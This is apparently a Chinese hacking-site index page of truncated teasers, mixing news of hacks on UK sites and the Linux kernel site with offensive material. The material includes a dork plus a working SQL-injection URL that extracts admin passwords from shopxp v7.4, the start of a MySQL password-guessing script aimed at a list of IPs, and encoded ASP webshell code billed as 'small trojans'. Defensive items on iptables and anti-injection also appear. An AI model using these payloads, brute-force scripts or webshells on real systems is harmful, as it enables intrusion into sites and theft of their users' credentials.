英国多家大型网站集体被土耳其黑客路过
据英国《卫报》9月5日报道，一个土耳其黑客组织日前对英国多家著名网站发起攻击， 包括《每日电讯报》网站、博彩公司必发（Betfair）的官方网站等等。专家警告称， 许多网络用户的密码和其他个人信息可能被偷。 报道称，一个自称“Turk Guvenligi”的黑客组织日前对英国多家著名网站发动攻击， 改变了访问路径。遭攻击的网站包括《每日电讯报》、博彩公司必发、UPS快递、电信运 营商沃达丰（ Vo...
shopxp网上购物系统v7.4爆密码0day
版 本：shopxp网上购物系统 v7.4 关键词：inurl:shopxp_news.asp 后 台：shopxp_admin 暴密码的语句： /TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201,2,admin%2bpassword,4,5,6,7%20from%20shopxp_admin ...
Linux核心开发团队网站遭黑客入侵
9月3日消息，Linux核心开发团队本在官方网站公布一则消息， 表示该团队在8/28发现黑客入侵，该名黑客取得网站最高权限root，并埋入一个木马。 Linux核心开发团队怀疑黑客窃取认证进入系统，再使用rootkit工具取得root权限， 但截至目前为止还不清楚其手法。黑客入侵后修改SSH连线后的相关设定，并埋入一个木 马程序到系统开机启动程序中。 该团队发现Linux核心3.1 – R...
Discuz 1.5暴WEB路径漏洞
测试环境：discuz X1.5+nginx 1.0 漏洞文件source/function/function_core.php， 代码： $_G['setting']['domain']['app']['default'] && $content = preg_replace("/<a href=\"([^\"]+)\"/e", "rewriteoutput('site_d...
MYSQL服务器猜密码脚本
昨日渗透时 ， 整段都是MYSQL服务器。在某个WEB下。用如下脚本来猜了一下MYSQL密码。还真有两个。在WEB下用脚本来弄也方便快捷。MSSQL的同理。。 这个是已知开了3306的。。 <?php $hostdb = array( '192.168.168.10', '192.168.168.20', '192.168.168.20', '192.168.168.40', '192.16...
7个ASP小马合集~！
1号小马 <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>Cx~</title> <%@ LANGUAGE = VBScript.Encode %> <%#@~^CgAAAA==[b:~K4N0/K3QMAAA==^#~@%> <...
PHP伪静态与防注入
PHP伪静态，主要是为了隐藏传递的参数名；于网上搜索后整理伪静态四法 <?php //伪静态方法一 // localhost/php100/test.php?id|1@action|2 $Php2Html_FileUrl = $_SERVER["REQUEST_URI"]; echo $Php2Html_FileUrl."<br>";// /php100/test.php?id|...
用iptables限制黑客破解密码
用iptables限制黑客我使用了下，效果不错，你们可以试试。 一般使用Linux做服务器都会开SSH服务用于管理，但世界上总有些无聊加无赖的黑客挂上字典暴力猜解你的密码，看着日志中不断增加的稀奇古怪的用户名，我不由的对这些不知疲倦的菜鸟起了敬佩之心。 好了，不想跟小菜玩了，今天介绍如何使用iptables的recent模块来防止暴力破解密码。 SSH服务默认端口是22，不过既然是你自己管理，大可...
腾讯3个鸡肋漏洞组合的利用及修复方案
简要描述： 权限绕过+跨站+服务端未验证=一夜之间4亿用户的悲剧 详细说明： 先登陆 http://faxin.soso.com/ 有cookie后打开下面的页面 <A href="http://faxin.soso.com/_JSON_Page_User_Getgold.<a%20href=" target=_blank http: www.2cto.com kf web php ?...
Anonymous的分支入侵好莱坞暴出众明星的电话和裸照
国际黑客组织“匿名者”(Anonymous)眼中只有政客、政府组织和跨国公司，但其分支 “好莱坞解密”近日转了口味，杀好莱坞众星一个措手不及。据香港《文汇报》报道， “靓佬汤”汤姆克鲁斯和《乐坛Teen后》主角Miley Cyrus都无一幸免，电话号码、 裸照等私人数据被放上不同网站供人下载。 黑客在档案分享网站Pastebin上公开Miley Cyrus、Ashley Green和珍妮花洛庇丝 ...